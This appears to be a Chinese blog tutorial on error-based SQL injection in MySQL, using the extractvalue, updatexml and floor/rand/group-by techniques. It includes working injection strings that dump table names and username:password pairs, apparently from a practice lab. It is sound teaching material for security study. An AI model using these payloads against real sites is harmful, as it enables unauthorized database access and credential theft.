3-Web安全——报错注入

目录

1. extractvalue报错注入

2. updatexml报错注入

3. floor报错注入


 

当网站的页面上没有显示位用于展示SQL语句执行后的结果,但是sql语句执行可以输出错误信息,那么攻击者可以利用注入过程中返回的错误信息进行判断。

 

报错注入就是客户端可以构造SQL语句,让错误信息中可以显示数据库内容的查询语句,当数据库执行SQL语句返回的报错提示中会包含sql语句执行的结果信息。

 

来看报错注入的一个简单案例:

在构造的SQL语句中,故意把database()函数写错成datadase()了,返回的错误信息提示是security数据库不存在datadase函数,错误信息中直接就暴露了查询的数据库信息:security。

 

 

报错注入的类型有12种,这里只介绍三种:extractvalue报错注入,updatexml报错注入,floor报错注入。MySQL5.0以上版本中添加了对XML文档进行查询和修改的两个函数:extractvalue和updatexml。

 

1. extractvalue报错注入

extractvalue(参数1 , 参数2):Mysql数据库中的extractvalue函数是用于对XML文档进行查询的函数。

参数1表示操作的目标XML文档,参数2则表示目标XML的查找路径。

 

通过extractvalue报错注入,创建数据库ctfstu数据表xml,插入两条数据为例:

#创建数据库表xml
create table xml(doc varchar(150));

#插入数据1
insert into xml values('
<book>
<title>how to become a bad boy<title>
<author>
<initial>howlong</initial>
<surname>Allen</surname>
</author>
</book>
');

#插入数据2
insert into xml values('
<book>
<title>A bad boy how to get a girlfriend<title>
<author>
<initial>Love</initial>
<surname>Mike</surname>
</author>
</book>
');

 

 

使用extractvalue函数查询数据库表xml的作者,构造的sql语句如下:

select extractvalue(doc,'/book/author/surname')from xml;

 

SQL语句执行结果:

 

 

通过extractvalue函数注入报错我们可以把查询参数格式符号写错,例如select extractvalue(doc , '~book/titleaaa') from xml这样的格式,mysql数据库在执行过程中会直接报错:

 

 

 

0x7e是“~”符号的十六进制表现形式,而concat函数的作用就是将“~”符号与select database()查询的结果进行拼接成字符串,从而使extractvalue函数报错:

从数据库返回的报错信息来看,页面显示了数据库名字。

 

 

然后我们再讲上面的SQL语句进行改造,将select database()部分更改成如下:

# 这条SQL语句表示查询当前数据库security下的所有数据库表
select group_concat(table_name) from information_schema.tables where table_schema=database()

 

SQL语句执行结果如下:

 

直接爆出了当前数据库下所有的数据库表。

 

 

 

2. updatexml报错注入

updatexml(XML_document , XPath_string , new_value)

 

updatexml函数有三个参数,XML_document参数表示目标XML文档(例如doc), XPath_string参数表示路径,new_value替换查找的数据。updatexml函数报错注入的原理和extractvalue函数是相通的。

 

确定当前网站是字符串注入类型,且闭合方式为")(双引号加括号)的方式:

 

 

接下来通过updatexml函数进行报错注入,使用concat函数对查询的目标与0x7e进行拼接,从而导致updatexml报错,那么构造sql语句如下:

?id=1") and 1=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+

 

 

数据库执行SQL语句返回的结果:

 

获取用户名和密码,构造sql语句:

?id=1") and 1=updatexml(1,concat(0x7e,(select substring(group_concat(username,':',password),1,30) from users)),3) --+

页面的显示位置每次只能显示32个字符,无法完全显示全部,可以通过substring函数把之后所有的内容显示出来,例如substring(str,1,30)表示从第1个字符显示30个字符。

 

 

3. floor报错注入

 

floor报错注入跟前面两个函数有所不同,floor函数抱错注入的原理涉及到以下几个函数:

  1. rand():随机返回0 ~ 1之间的小数
  2. floor():小数向下取整数(向上取整数是ceiling()函数)
  3. concat_ws():将括号内的数据用第一个字段连接起来
  4. group by子句:分组语句,常用于结合统计函数,根据一个列或多个列,对结果集进行分组
  5. as:就是别名
  6. count函数:汇总统计数量
  7. limit:显示指定行数

 

 

rand函数用法:

直接执行select rand()语句发现,数据库每次都会随机返回0 ~ 1之间的小数,但是执行select rand()*2时,数据库则可能会返回大于1的小数,因为*符号在数学里是一个乘号。对于select rand() from users;语句来说,数据库在执行该语句查询数据库时,rand()函数会计算出users表的行数,users表每有一行数据rand()函数就会计算一次,上图中rand()函数计算了13次,说明users表中有13行数据,换句话说,users表中有多少行数据,rand函数就会执行次。

 

 

floor函数用法:小数向下取整数

floor函数很好理解,如果rand函数返回的结果是小于1的小数的话,例如select floor(rand())函数返回的小数是0.5694725639833813,那么floor函数则会向下取整数,就变成了0。如果select floor(rand()*2)函数返回的小数是1.7217163776249778,那么floor函数向下取整,得到的结果就是1,这就是floor函数的作用。

 

 

concat_ws函数用法:将括号内数据用第一个字段连接起来。

可以看到concat_ws函数内有三个参数,第一个是“-”符号,第二个是select database(),当前数据库是security;第三个参数则是floor(rand()*2),结果为0或1。执行上面的语句后,concat_ws函数会将括号内的数据用第一个参数连接起来,最后返回的结果是security-1或者security-0。

 

 

group by子句用法:

前面已经介绍过了,group by子句是用于对结果集进行分组的,as关键字对结果集进行起别名,然后使用group by子句对结果集进行分组,从之前查询的结果来看,无非就是security-0和security-1两种结果。

对于count函数和limit函数,之前的学习中已经介绍过了,这里不再赘述。

 

 

使用count函数对结果集进行统计:

 

count函数统计的结果中security-0出现了8次,security-1出现了5次。

 

 

floor报错注入的原理主要有两点:报错语句和报错位置

 

示例:

select count(*),concat_ws('-',(select database()),floor(rand(0)*2)) as a from users group by a;

执行SQL报错信息:

前面我们说过SQL语句报错主要有两点一个是报错语句和报错位置,这条SQL语句每次执行时都会报错,报错的原因在于SQL语句中count(*),rand(0),group by这些语句的组合引起的。

 

 

单独的去掉组合中的一个,都不会引起报错,真正的原因在于rand函数进行分组group by和统计count()时可能会多次执行,导致键值key重复:

以rand(0)为例,在多次执行过程中会出现键值key重复,当我们在构造SQL语句时使用count(*),rand(0),group by这些语句的组合时,rand(0)和rand(4)会引起数据库的报错,因此rand函数中的参数除了0或4,可以是任意其他数字。

 

分析SQL语句:select count(*),concat_ws('-',(select database()),floor(rand(0)*2)) as a from users group by a;

分析SQL语句执行过程:

第一次统计时,rand函数进行第一次计算,concat_ws函数得到的结果是security-0,然后count函数对concat_ws的结果进行统计发现,security-0在group_key中的键值不存在,于是concat_ws函数重新计算结果为security-1,然后把该key值存入到group_key中。

第二次以此类推,进行到第三次统计的时候,已经是第四次计算了,concat_ws函数得到的结果是security-0(正常来说,第三次统计,concat_ws函数得到的结果应该是security-1才对),发现security-0在group_key中并不存在,concat_ws函数会进行重新计算,将得到的结果security-1放入到group_key中,但问题在于:security-1的key值在group_key中已经存在,数据库在执行过程中就会报错(ERROR 1062 (23000): Duplicate entry 'security-1' for key 'group_key')。

 

 

当users表中的数据不足5条,再次执行SQL语句数据库并不会返回错误。换句话说,rand函数只要执行次数不超过5次,那么数据库在执行过程中就不会报错。

 

但是在真正的SQL注入环境中,数据库表中的数据有可能会不够,一般情况下会使用数据库默认的information_schema.tables表。

 

例如查询当前security数据库下的所有表和表的所有字段,构造SQL语句:

#查询当前security数据库下的所有表
select group_concat(table_name) from information_schema.tables where table_schema=database();

#查询users表的所有字段
select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users';


#查询users表的所有数据
select group_concat(username,'@','password') from users;

 

数据库执行SQL语句结果如下:

 

查询当前security数据库下的所有表,测试结果:

 

 

获取users表的所有字段,测试结果如下:

 

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值